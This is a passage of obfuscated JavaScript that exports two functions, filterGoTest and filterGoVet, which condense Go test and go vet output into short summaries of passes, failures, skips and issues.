_0x641185['push'](_0x641185['shift']());}catch(_0x40e2c7){_0x641185['push'](_0x641185['shift']());}}}(a0_0x159b,0x2976d));function a0_0x159b(){const _0x281cc4=['Go\x20test:\x20','\x20failed,\x20','defineProperty','filterGoTest','join','220316VqWhvB','slice','885896MYHCYr','\x20skipped','push','length','no\x20test\x20files','7AcnTIs','\x20\x20...\x20+','361370XlfZRk','===\x20RUN','...\x20+','includes','4404Kycvxu','\x20more\x20issues','name','\x20passed','trim','4469157wUAKgt','__esModule','\x20\x20\x20\x20...\x20+','Go\x20test:\x20no\x20test\x20files','split','2060512vxLMeh','---\x20SKIP:','\x20more\x20failures','\x20more\x20lines','match','Go\x20vet:\x20','lines','\x20\x20\x20\x20','\x0aFailures:','Go\x20vet:\x20no\x20issues\x20found','Go\x20test:\x20all\x20tests\x20passed','\x20passed,\x20','startsWith','573597PVDvUw','5DYGCTw'];a0_0x159b=function(){return _0x281cc4;};return a0_0x159b();}Object[a0_0x3bfefe(0xe2)](exports,a0_0x3bfefe(0xf8),{'value':!![]}),exports[a0_0x3bfefe(0xe3)]=filterGoTest,exports['filterGoVet']=filterGoVet;function filterGoTest(_0x2fa42e){const _0x542b19=a0_0x3bfefe,_0x449a14=_0x2fa42e[_0x542b19(0xfb)]('\x0a');let _0x177d4f=0x0,_0x1219b6=0x0,_0x5b13f9=0x0;const _0x2e5e8b=[],_0x394c54=[];let _0x5493d2=null;for(const _0x16af95 of _0x449a14){const _0x23d94c=_0x16af95[_0x542b19(0xf6)](),_0x383378=_0x23d94c['match'](/^ok\s+\S+\s+[\d.]+s/);if(_0x383378){_0x394c54['push'](_0x23d94c);continue;}const _0x18c245=_0x23d94c['match'](/^FAIL\s+\S+/);if(_0x18c245){_0x394c54[_0x542b19(0xe9)](_0x23d94c);continue;}const _0xb2a63d=_0x23d94c['match'](/^--- PASS:/);if(_0xb2a63d){_0x177d4f++;continue;}const _0x3a5f79=_0x23d94c[_0x542b19(0x100)](/^--- FAIL:\s+(\S+)/);if(_0x3a5f79){if(_0x5493d2)_0x2e5e8b['push'](_0x5493d2);_0x5493d2={'name':_0x3a5f79[0x1],'lines':[]},_0x1219b6++;continue;}if(_0x23d94c['startsWith'](_0x542b19(0xfd))){_0x5b13f9++;continue;}_0x5493d2&&_0x23d94c[_0x542b19(0xea)]>0x0&&!_0x23d94c[_0x542b19(0x108)]('===\x20RUN')&&_0x5493d2[_0x542b19(0x102)][_0x542b19(0xe9)](_0x16af95),_0x23d94c[_0x542b19(0x108)](_0x542b19(0xef))&&(_0x5493d2&&(_0x2e5e8b[_0x542b19(0xe9)](_0x5493d2),_0x5493d2=null));}if(_0x5493d2)_0x2e5e8b[_0x542b19(0xe9)](_0x5493d2);if(_0x177d4f===0x0&&_0x1219b6===0x0&&_0x5b13f9===0x0){if(_0x2fa42e['includes']('PASS')&&!_0x2fa42e['includes']('FAIL'))return _0x542b19(0x106);if(_0x2fa42e[_0x542b19(0xf1)](_0x542b19(0xeb)))return _0x542b19(0xfa);return _0x2fa42e;}if(_0x1219b6===0x0){const _0x1bc852=[_0x542b19(0x10b)+_0x177d4f+_0x542b19(0xf5)];if(_0x5b13f9>0x0)_0x1bc852[_0x542b19(0xe9)](_0x5b13f9+_0x542b19(0xe8));return _0x1bc852[_0x542b19(0xe4)](',\x20');}const _0x46923c=[_0x542b19(0x10b)+_0x177d4f+_0x542b19(0x107)+_0x1219b6+_0x542b19(0x10c)+_0x5b13f9+_0x542b19(0xe8)];if(_0x2e5e8b[_0x542b19(0xea)]>0x0){_0x46923c['push'](_0x542b19(0x104));const _0xa87b93=0x3;for(let _0x2a8b85=0x0;_0x2a8b85<Math['min'](_0x2e5e8b[_0x542b19(0xea)],_0xa87b93);_0x2a8b85++){const _0x5441e3=_0x2e5e8b[_0x2a8b85];_0x46923c[_0x542b19(0xe9)]('\x20\x20'+(_0x2a8b85+0x1)+'.\x20'+_0x5441e3[_0x542b19(0xf4)]);for(const _0xc9ead2 of _0x5441e3[_0x542b19(0x102)][_0x542b19(0xe6)](0x0,0x5)){_0x46923c[_0x542b19(0xe9)](_0x542b19(0x103)+_0xc9ead2['trim']());}_0x5441e3['lines'][_0x542b19(0xea)]>0x5&&_0x46923c[_0x542b19(0xe9)](_0x542b19(0xf9)+(_0x5441e3[_0x542b19(0x102)][_0x542b19(0xea)]-0x5)+_0x542b19(0xff));}_0x2e5e8b['length']>_0xa87b93&&_0x46923c['push'](_0x542b19(0xed)+(_0x2e5e8b[_0x542b19(0xea)]-_0xa87b93)+_0x542b19(0xfe));}return _0x46923c['join']('\x0a');}function filterGoVet(_0x518d69){const _0x5ce529=a0_0x3bfefe,_0x1d5d5d=_0x518d69[_0x5ce529(0xfb)]('\x0a')['filter'](_0x1359fd=>_0x1359fd['trim']()[_0x5ce529(0xea)]>0x0);if(_0x1d5d5d[_0x5ce529(0xea)]===0x0)return _0x5ce529(0x105);if(_0x1d5d5d[_0x5ce529(0xea)]<=0x14)return _0x518d69[_0x5ce529(0xf6)]();const _0x39f364=[_0x5ce529(0x101)+_0x1d5d5d[_0x5ce529(0xea)]+'\x20issues\x20found'];return _0x39f364['push'](..._0x1d5d5d[_0x5ce529(0xe6)](0x0,0xa)),_0x1d5d5d[_0x5ce529(0xea)]>0xa&&_0x39f364['push'](_0x5ce529(0xf0)+(_0x1d5d5d[_0x5ce529(0xea)]-0xa)+_0x5ce529(0xf3)),_0x39f364['join']('\x0a');}